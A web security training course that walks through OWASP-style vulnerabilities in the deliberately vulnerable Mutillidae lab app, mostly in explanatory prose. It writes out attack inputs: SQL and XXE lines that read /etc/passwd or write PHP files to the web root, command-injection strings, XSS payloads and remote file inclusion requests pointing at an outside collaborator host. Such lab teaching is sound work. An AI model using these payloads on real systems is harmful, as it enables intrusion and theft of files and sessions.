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Course Information 
 
Author: Andrey "mwebsec" Stoykov, having 6+ years in web application security. Currently 
working as full-time penetration tester. 
Authors Blog: https://msecureltd.blogspot.com/ 
VM to Download: https://sourceforge.net/projects/owaspbwa/files/1.2/ 
 

Preparing the VM  
 

1. Download the VM from the link above 
2. Import it to VMWare Workstation/Player 
3. Check the VM interface e.g. NAT, Bridged 
4. Login with "root" and password "owaspbwa" 
5. Type ifconfig to check for the IP of the VM 
6. Set the IP to 192.168.58.164 via command ifconfig eth0 192.168.58.164 
7. After visiting the IP address select "Mutillidae" from the landing page 

 
 

 
 
 
 
 

https://msecureltd.blogspot.com/
https://sourceforge.net/projects/owaspbwa/files/1.2/


4 Web Security Training | MSecure 

 

Information Disclosure 
 

Cache-Control Header 
 
http://192.168.58.164/mutillidae/index.php?popUpNotificationCode=SL1&page=home.php 
 

 It tells browsers and intermediate caches how to handle a response, controlling whether 
they can cache the response, for how long, and under which conditions. 

 

 
 

 max-age=seconds - Indicates the response can be cached for the specified time period. 
 

 no-cache - Indicates the response should not be cached by any cache. 
 

 no-store - Indicates the response should not be stored in any cache. 
 

 must-revalidate - Indicates that the cache must revalidate the response with the origin 
server before returning it. 
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X-Powered-By Header 
 
http://192.168.58.164/mutillidae/index.php?popUpNotificationCode=SL0 
 

 The X-Powered-By HTTP header reveals the server-side technology used by a website. 
 

 
 
 

 This header can leak information about the web server and its configuration, potentially 
making it easier for attackers to target vulnerabilities. 
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Clientside Comments 
 
http://192.168.58.164/mutillidae/index.php 
 

 Comments in HTML or JavaScript can unintentionally reveal sensitive information such 
as: 

o Developer names or contact information 
o Database connection strings 
o API keys 
o Internal system architecture 
o Private data stored in variables 
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 Source Code Leakage: Comments can expose the source code of the website, which can 
be used by attackers to understand the website's functionality 
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Clickjacking 
 
http://192.168.58.164/mutillidae/index.php?page=framing.php 
 

 Clickjacking is a type of attack where an attacker tricks a user into clicking on something 
different from what they perceive, often by overlaying a transparent layer over a 
legitimate webpage 

 

 
 
 

 Classic Clickjacking: The traditional form where a transparent layer is placed over a 
legitimate webpage. 

 

 Likejacking: Specifically targets social media platforms, tricking users into liking a page or 
post without their consent. 

 

 Cursorjacking: Manipulates the cursor's appearance to mislead users about where they 
are clicking. 

 

 Nested Clickjacking: Involves embedding multiple layers of iframes to bypass security 
measures. 
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Cross Site Framing (XSF) 
 
http://192.168.58.164/mutillidae/framer.html 
 

 Cross-Site Framing (XSF) is a security vulnerability that occurs when a malicious website 
is able to embed content from another site (often a trusted site) within a frame or 
iframe.  

 

 This can lead to various attacks, including clickjacking, where users are tricked into 
interacting with the embedded content without their knowledge. 
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HTML5 Storage 
 
http://192.168.58.164/mutillidae/index.php?page=html5-storage.php 
 

 HTML5 Storage refers to a set of web storage capabilities introduced in HTML5 that 
allow web applications to store data in a user's browser.  

 
 
Local Storage 
 

 Local Storage is a key-value store that allows web applications to store data persistently 
in the user's browser. The data stored in Local Storage does not expire and remains 
available even after the browser is closed and reopened. 

 

 Capacity: Typically, Local Storage can hold around 5-10 MB of data, depending on the 
browser. 

 

 Usage: Local Storage is useful for storing user preferences, application state, or any data 
that needs to persist across sessions. 

 
 
Session Storage 
 

 Session Storage is similar to Local Storage but is designed for temporary storage. Data 
stored in Session Storage is only available for the duration of the page session. This 
means that the data is cleared when the tab or browser is closed. 

 

 Capacity: Like Local Storage, Session Storage typically allows around 5-10 MB of data. 
 

 Usage: Session Storage is useful for storing data that should only be available during a 
single session, such as form data or temporary application state. 

 

 
 

 This storage is more powerful and flexible than traditional cookies, providing a way to 
store larger amounts of data and offering better performance.  
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Exposed PHPMyadmin Console 
 
http://192.168.58.164/mutillidae/index.php?page=phpmyadmin.php 
 

 Exposing phpMyAdmin can lead to several security risks, including unauthorized access 
through weak passwords, SQL injection, and cross-site scripting (XSS) attacks. 

 

SELECT @@datadir; 

 

SHOW GRANTS FOR CURRENT_USER(); 

 

SELECT "<?php echo 'Hello, World!'; ?>" INTO DUMPFILE 
/var/www/mutillidae/hello_dump.php'; 

 

SELECT "<?php echo 'Hello, World!'; ?>" INTO OUTFILE '/var/www/mutillidae/hello_outfile.php' 
FIELDS TERMINATED BY '' ENCLOSED BY '' ESCAPED BY '' 
LINES TERMINATED BY '\n'; 

 

SELECT LOAD_FILE('/etc/passwd'); 
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Exposed PHPInfo File 
 
http://192.168.58.164/mutillidae/index.php?page=phpinfo.php 
 

 Exposing a phpinfo file can reveal sensitive information about the server environment, 
such as directory paths, software versions, and configuration settings.  

 

 
 
The phpinfo() function outputs detailed information about the PHP environment, including: 

 PHP version and configuration options 

 Loaded extensions and their settings 

 Server information (OS, web server version) 

 Directory paths and file locations 
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SSL Misconfiguration 
 
http://192.168.58.164/mutillidae/index.php?page=ssl-misconfiguration.php 
 

 Missing the HSTS header can expose users to various security risks, primarily man-in-
the-middle (MitM) attacks, such as SSL stripping.  

 

 
 

 Without HSTS, attackers can intercept initial HTTP requests, forcing users to connect 
over insecure connections, which compromises data integrity and confidentiality. 
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Robots.txt 
 
http://192.168.58.164/mutillidae/index.php?page=robots-txt.php 
 

 robots.txt is a text file used by websites to communicate with web crawlers and other 
automated agents about which parts of the site should not be accessed or indexed.  

 

 It is part of the Robots Exclusion Protocol (REP), which is a standard used by websites to 
manage how search engines and other bots interact with their content. 

 
 

 
 

 Location: The robots.txt file is typically located in the root directory of a website 
(e.g., https://www.example.com/robots.txt). 

 
Syntax: The file contains directives that specify which user agents (web crawlers) are allowed or 
disallowed from accessing certain parts of the site.  
 

 User -agent: Specifies the web crawler to which the rule applies. 

 Disallow: Indicates which pages or directories should not be accessed. 

 Allow: Specifies pages or directories that can be accessed, even if a parent directory is 
disallowed. 
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Improper Error Handling 
 

User Info Lookup/Login Page 
 
http://192.168.58.164/mutillidae/index.php?page=user-info.php 
 

 OWASP error handling for login pages emphasizes the importance of providing generic 
error messages to prevent attackers from gaining insights into valid usernames or 
passwords.  
 

 The impact of poor error handling can lead to increased vulnerability to brute force 
attacks and unauthorized access, while disclosing specific error details can expose 
sensitive information about the authentication process. 
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Search Functionality 
 
http://192.168.58.164/mutillidae/index.php?page=pen-test-tool-lookup.php 
 
http://192.168.58.164/mutillidae/index.php?page=pen-test-tool-lookup-ajax.php 
 

 Improper error handling in search tool functionality can reveal sensitive information, 
such as database structure or file paths, which may aid attackers in exploiting 
vulnerabilities.  

 

 The risks include unauthorized access and data breaches, as overly detailed error 
messages can provide insights into the application's inner workings.  

 

 The impact of improper error handling can lead to significant security vulnerabilities, 
including the potential for attackers to perform reconnaissance and identify weaknesses 
in the system.  
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Malicious File Execution 
 

Text File Viewer 
 
http://192.168.58.164/mutillidae/?page=text-file-viewer.php 
 

 In a text file viewer, if user input is not properly validated or sanitized, an attacker could 
manipulate the file path to include a remote file (e.g., a malicious script hosted on an 
external server).  
 

 This could allow the attacker to execute arbitrary code on the server or retrieve 
sensitive data from the server's environment. 

 

 The impact of RFI in a text file viewer can include unauthorized access to the server, 
leading to data theft, server compromise, or the installation of malware.  

 
 
 

POST /mutillidae/index.php?page=text-file-viewer.php HTTP/1.1 
Host: 192.168.58.164 
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:136.0) Gecko/20100101 
Firefox/136.0 
[..] 
 
textfile=https://go86gmlge2l11ivsdtrvrqueb5hw5otd.oastify.com&text-file-viewer-php-
submit-button=View+File 

 

HTTP/1.1 200 OK 
Date: Thu, 06 Feb 2025 22:13:10 GMT 
Server: Apache/2.2.14 (Ubuntu) mod_mono/2.4.3 PHP/5.3.2-1ubuntu4.5 with Suhosin-Patch 
proxy_html/3.0.1 mod_python/3.3.1 Python/2.6.5 mod_ssl/2.2.14 OpenSSL/0.9.8k 
Phusion_Passenger/3.0.17 mod_perl/2.0.4 Perl/v5.10.1 
[...] 
<span ReflectedXSSExecutionPoint=\"1\" class="label">File: 
https://go86gmlge2l11ivsdtrvrqueb5hw5otd.oastify.com</span><pre></pre> 
   <!-- End Content --> 
  </blockquote> 
   </td> 
  </tr> 
 </table> 
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Source Code Viewer 
 
http://192.168.58.164/mutillidae/?page=source-viewer.php 
 

 In a Source Code Viewer, if user input is not properly validated or sanitized, an attacker 
could exploit the functionality to include and execute remote files, potentially leading to 
the exposure of sensitive source code or configuration files.  

 

 This could allow attackers to gain insights into the application’s logic, vulnerabilities, and 
sensitive information such as API keys or database credentials. 

 
 

POST /mutillidae/index.php?page=source-viewer.php HTTP/1.1 
Host: 192.168.58.164 
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:136.0) Gecko/20100101 
Firefox/136.0 
[...] 
 
page=source-
viewer.php&phpfile=http://67bwzc46xs4rk8eiwjalagd4uv0mogc5.oastify.com&source-file-
viewer-php-submit-button=View+File 

 

HTTP/1.1 200 OK 
Date: Thu, 06 Feb 2025 22:18:46 GMT 
Server: Apache/2.2.14 (Ubuntu) mod_mono/2.4.3 PHP/5.3.2-1ubuntu4.5 with Suhosin-Patch 
proxy_html/3.0.1 mod_python/3.3.1 Python/2.6.5 mod_ssl/2.2.14 OpenSSL/0.9.8k 
Phusion_Passenger/3.0.17 mod_perl/2.0.4 Perl/v5.10.1 
X-Powered-By: PHP/5.3.2-1ubuntu4.5 
[...] 
 
<span ReflectedXSSExecutionPoint=\"1\" class="label">File: 
http://67bwzc46xs4rk8eiwjalagd4uv0mogc5.oastify.com</span> 
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A10 - Unvalidated Redirects 
 

Credits Page 
 
http://192.168.58.164/mutillidae/index.php?page=redirectandlog.php 
 

 Unvalidated redirects and forwards occur when a web application accepts user input 
that specifies a URL to which the user will be redirected or forwarded without proper 
validation. This can allow attackers to manipulate the redirect or forward destination, 
potentially leading users to malicious sites or phishing pages. 

 

 The primary risk associated with unvalidated redirects is that attackers can exploit this 
vulnerability to redirect users to harmful websites, which may lead to phishing attacks, 
malware distribution, or other malicious activities.  
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A9 - Insufficient Transport Layer Protection 
 

Missing HSTS Header 
 
http://192.168.58.164/mutillidae/index.php?page=ssl-misconfiguration.php 
 

 HTTP Strict Transport Security (HSTS) is a web security policy mechanism that helps 
protect websites against man-in-the-middle attacks such as protocol downgrade attacks 
and cookie hijacking.  

 

 When a website does not implement the HSTS header, it fails to enforce secure 
connections (HTTPS) for all communications, allowing users to access the site over an 
insecure HTTP connection. 

 

 The impact of a missing HSTS header can be significant, as it exposes users to potential 
eavesdropping and data tampering by attackers.  
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HTTP Login Form 
 
http://192.168.58.164/mutillidae/index.php?page=login.php 
 

 When a login form is served over HTTP instead of HTTPS, the data transmitted between 
the user's browser and the server is not encrypted.  

 

 This means that any sensitive information, such as usernames and passwords, can be 
intercepted by attackers through various means, such as packet sniffing or man-in-the-
middle attacks. 

 

 The impact of using an HTTP login form is severe, as it exposes users' credentials to 
potential theft and unauthorized access. If attackers capture this information, they can 
gain access to user accounts, leading to data breaches, identity theft, and financial loss.  
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A8 - Failure to Restrict URL Access 
 

Exposed Admin Panel 
 
http://192.168.58.164/mutillidae/index.php?page=admin.php 
 

 An exposed admin panel refers to an administrative interface that is accessible over the 
internet without adequate security measures, such as IP whitelisting or strong 
authentication. 
 

 The impact of an exposed admin panel can be severe, as it allows unauthorized users to 
gain access to sensitive administrative functions, potentially leading to data breaches, 
system manipulation, and complete compromise of the application or server. 
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Robots.txt 
 
http://192.168.58.164/mutillidae/robots.txt 
 

 The robots.txt file is a publicly accessible file that instructs web crawlers and search 
engines on which parts of a website should not be indexed or accessed. 
 

 If this file is exposed, it may inadvertently disclose sensitive directories or files that the 
website owner intended to keep private. 
 

 The impact of an exposed robots.txt file can lead to increased risk of information 
leakage, as attackers may use the disclosed paths to locate and exploit sensitive areas of 
the website, potentially leading to unauthorized access, data breaches, or other security 
vulnerabilities. 
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Source Code Exposure 
 
http://192.168.58.164/mutillidae/index.php?page=source-viewer.php 
 

 Exposed source code in a file viewer functionality occurs when the underlying code that 
implements the file viewing feature is accessible to unauthorized users, either through 
misconfigurations or inadequate access controls.  

 

 This can allow attackers to analyze the code for vulnerabilities, logic flaws, or sensitive 
information. 
 

 The impact of exposed source code can be significant, as it may enable attackers to 
identify and exploit vulnerabilities within the application, leading to unauthorized 
access, data breaches, or the execution of malicious actions.  
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Local File Inclusion 
 
http://192.168.58.164/mutillidae/index.php?page=arbitrary-file-inclusion.php 
 

 File inclusion vulnerabilities occur when a web application allows users to specify files to 
be included or read without proper validation or restrictions.  

 

 This can lead to attackers being able to manipulate the file path to access arbitrary 
system files on the server, potentially exposing sensitive information or configuration 
files. 

 

 The impact of this vulnerability can be severe, as it may allow attackers to read sensitive 
files such as password files, configuration settings, or application source code, leading to 
unauthorized access, data breaches, and further exploitation of the system.  
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PHPInfo File Exposed 
 
http://192.168.58.164/mutillidae/index.php?page=phpinfo.php 
 

 An exposed PHPInfo file occurs when the phpinfo() function is accessible to 
unauthorized users, typically through a misconfigured web server or application.  

 

 This file provides detailed information about the PHP environment, including server 
configuration, loaded modules, and environment variables. 

 

 The impact of an exposed PHPInfo file can be significant, as it may reveal sensitive 
information that attackers can use to identify vulnerabilities in the server configuration 
or PHP environment, potentially leading to exploitation, unauthorized access, or further 
attacks on the application and server. 
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A7 - Insecure Cryptographic Storage 
 

Plaintext Credentials Storage 
 
http://192.168.58.164/mutillidae/index.php?page=user-
info.php&username=admin&password=admin&user-info-php-submit-
button=View+Account+Details 
 

 Plaintext credentials stored in a database refer to sensitive information, such as 
usernames and passwords, that are saved in an unencrypted format within the database 
itself, making them vulnerable to unauthorized access and exploitation if the database is 
compromised. 
 

 The impact of storing plaintext database credentials can be severe, as it allows attackers 
who gain access to the database to easily retrieve and misuse these credentials, 
potentially leading to unauthorized access to other systems, data breaches, and 
significant financial and reputational damage to the organization. 
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HTML5 Storage  
 
http://192.168.58.164/mutillidae/index.php?page=html5-storage.php 
 

 HTML5 Storage, which includes Local Storage and Session Storage, allows web 
applications to store data in a user's browser.  

 

 While this feature provides convenience for storing user preferences and session data, it 
poses significant risks when sensitive information, such as authentication tokens, 
personal data, or financial information, is stored without proper security measures. 

 

 The impact of storing sensitive information in HTML5 Storage can be severe. If an 
attacker gains access to the user's browser (through cross-site scripting (XSS) attacks or 
other means), they can easily retrieve this sensitive data, leading to unauthorized access 
to user accounts, identity theft, and data breaches.  

 

 Additionally, the lack of encryption in HTML5 Storage means that any sensitive 
information stored is vulnerable to exposure, further compromising user privacy and 
trust in the application. 
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A4 - IDOR 

Login Page 
 
http://192.168.58.164/mutillidae/index.php?page=login.php 
 
 

 Definition: IDOR vulnerabilities arise when a web application uses user-controllable 
input (like user IDs) to directly access internal objects without proper authorization 
checks.  

 

 For instance, if a URL contains a user ID parameter, an attacker can modify this ID to 
access another user's data. 

 

 Privilege Escalation: If an attacker can manipulate user IDs to access admin-level 
functions, they may escalate their privileges. For example, accessing an admin's profile 
could allow them to change roles or permissions, effectively granting themselves higher 
access rights. 

 

 Account Takeover: In severe cases, attackers may gain control over user accounts, 
allowing them to perform actions as if they were the legitimate user, which can lead to 
further exploitation of the system. 
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A3 - Broken Authentication and Session Management 
 

Login Page 
 
http://192.168.58.164/mutillidae/index.php?page=login.php 
 
http://192.168.58.164/mutillidae/index.php?page=user-
info.php&username=admin&password=admin&user-info-php-submit-
button=View+Account+Details 
 

 Lack of password change functionality 

 Lack of MFA 
 

 
 

 Weak password complexity 
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Authentication Bypass SQLi 
 
http://192.168.58.164/mutillidae/index.php?page=login.php 
 

 Authentication bypass via SQL injection occurs when an attacker manipulates SQL 
queries to bypass login mechanisms, gaining unauthorized access to an application.  

 

 By injecting malicious SQL code into input fields, such as username and password, 
attackers can alter the query logic, allowing them to authenticate as any user, including 
administrators. 

 

 Mechanism: SQL injection allows attackers to manipulate SQL queries by injecting 
malicious code into input fields. For example, in a login form, if the application 
constructs a query like: 

 

SELECT * FROM Users WHERE username = 'submittedUser ' AND password = 
'submittedPassword'; 

 

submittedUser  = 'admin' --  
submittedPassword = 'anything' 

 

 This alters the query to: 
 

SELECT * FROM Users WHERE username = 'admin' AND password = ''; 
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Forced Browsing 
 
http://192.168.58.164/mutillidae/index.php?page=secret.php 
 

 Forced browsing is an attack technique where an attacker accesses restricted resources 
on a web application by guessing or manipulating URLs.  

 

 This can lead to unauthorized access to sensitive information, such as user data or 
administrative functions, potentially resulting in data breaches, privacy violations, and 
significant reputational damage for the affected organization.  

 

 Forced browsing exploits the lack of proper access controls in web applications.  
 

 Attackers can manipulate URLs to access resources that are not linked or visible through 
the application interface. 
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A2 - Cross-Site Scripting (XSS) 
 

Reflected XSS 
 
http://192.168.58.164/mutillidae/index.php?page=dns-lookup.php 
 

 Reflected XSS (Cross-Site Scripting) is a type of web application vulnerability where an 
attacker injects malicious JavaScript code into a website, which is then reflected back to 
the user's browser.  
 

 The code is executed by the browser, allowing the attacker to steal sensitive 
information, hijack sessions, or perform other malicious actions. 

 

"><img src=x onerror=alert(1)> 
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JSON RXSS 
 
http://192.168.58.164/mutillidae/index.php?page=pen-test-tool-lookup.php 
 

 JSON (JavaScript Object Notation) is a lightweight data interchange format that is easy 
for humans to read and write and easy for machines to parse and generate. 

 

 It is primarily used to transmit data between a server and a web application as an 
alternative to XML. JSON is structured as key-value pairs and can represent complex 
data structures, including arrays and nested objects. 

 

 Reflected XSS (Cross-Site Scripting) occurs when an attacker injects malicious scripts into 
a web application, and those scripts are reflected back to the user's browser without 
proper validation or sanitization.  

 

';alert(1)// 
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User-Agent RXSS 
 
http://192.168.58.164/mutillidae/index.php?page=capture-data.php 
 

 User -agent reflected XSS occurs due to a lack of input validation and output encoding in 
web applications.  
 

 When user input, such as the User-Agent header, is directly reflected in the response 
without proper sanitization, it allows attackers to inject malicious scripts that can 
execute in the context of the victim's browser. 

 

"><script>alert(1)</script> 
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Stored XSS 
 
http://192.168.58.164/mutillidae/index.php?page=add-to-your-blog.php 
 

 Stored Cross-Site Scripting (Stored XSS) is a type of security vulnerability that allows an 
attacker to inject malicious scripts into a web application.  
 

 Unlike reflected XSS, where the injected script is executed immediately and only affects 
the user who clicks on a malicious link, stored XSS involves the permanent storage of the 
malicious script on the server.  
 

 This means that the script can affect any user who accesses the compromised data. 
 

"><svg onload=alert(document.cookie)> 
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A1 - Other Injections 
 

Command Injection 
 
http://192.168.58.164/mutillidae/index.php?page=dns-lookup.php 
 

 Command Injection is a type of security vulnerability that occurs in web applications 
when an attacker is able to execute arbitrary commands on the host operating system 
via a vulnerable application.  

 

 This typically happens when user input is improperly validated or sanitized, allowing an 
attacker to manipulate the command that the application constructs and executes. 

 

; pwd 
; id 
; cat /etc/passwd 
; ifconfig 

 
 

 
 



38 Web Security Training | MSecure 

 

CSS Injection 
 
http://192.168.58.164/mutillidae/index.php?page=set-background-color.php 
 

 CSS Injection is a type of web security vulnerability that occurs when an attacker is able 
to inject malicious Cascading Style Sheets (CSS) into a web application.  

 

 This can lead to various attacks, including data theft, user interface manipulation, and 
even Cross-Site Scripting (XSS) if the injected CSS includes JavaScript. 

 

<body color:#""><H1>CSS Injection</H1> 
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HTML Injection 
 
http://192.168.58.164/mutillidae/index.php?page=add-to-your-blog.php 
 

 HTML Injection is a type of web security vulnerability that occurs when an attacker is 
able to inject arbitrary HTML code into a web application.  

 

 This can happen when user input is not properly validated or sanitized, allowing the 
attacker to manipulate the content of a web page.  

 

 Unlike Cross-Site Scripting (XSS), which typically involves injecting JavaScript, HTML 
Injection focuses on injecting HTML markup. 

 

<p><h1>HTMLi</h1></p> 
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HTTP Parameter Pollution 
 
http://192.168.58.164/mutillidae/index.php?page=user-poll.php 
 

 HTTP Parameter Pollution (HPP) is a type of web application vulnerability that occurs 
when an attacker manipulates the parameters sent in an HTTP request to exploit the 
way a web application processes those parameters.  

 

 This can lead to unintended behavior, such as bypassing security controls, altering 
application logic, or even executing arbitrary code. 
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XML External Entity Injection (XXE) 
 
http://192.168.58.164/mutillidae/index.php?page=xml-validator.php 
 

 XXE, or XML External Entity injection, is a type of security vulnerability that occurs in 
applications that parse XML input. 

 

 It allows an attacker to interfere with the processing of XML data, potentially leading to 
the disclosure of sensitive information, denial of service, or other malicious actions. 

 

<?xml version="1.0"?> <!DOCTYPE change-log [ <!ENTITY xxe SYSTEM "/etc/passwd"> ]> 
<change-log> <text>&xxe;</text> </change-log> 
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Frame Source Injection 
 
http://192.168.58.164/mutillidae/index.php?page=document-
viewer.php&PathToDocument=documentation/how-to-access-Mutillidae-over-Virtual-Box-
network.php 
 

 Frame Source Injection (FSI) is a type of web security vulnerability that occurs when an 
attacker is able to manipulate the content of a web page's frame or iframe.  
 

 This can lead to various security issues, including clickjacking, phishing, and other forms 
of content injection attacks. 
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A1 - Injection 
 

SQL Injection Login Page 
 
http://192.168.58.164/mutillidae/index.php?page=user-info.php 
 

 SQL Injection is a type of web security vulnerability that allows an attacker to interfere 
with the queries that an application makes to its database.  

 

 It occurs when an application includes untrusted data in a SQL query without proper 
validation or escaping, allowing an attacker to manipulate the query's structure.  

 

 This can lead to unauthorized access to data, data modification, or even complete 
control over the database. 

 
 
 

admin' or 1=1-- - 

 

 
 
 
 
 
 


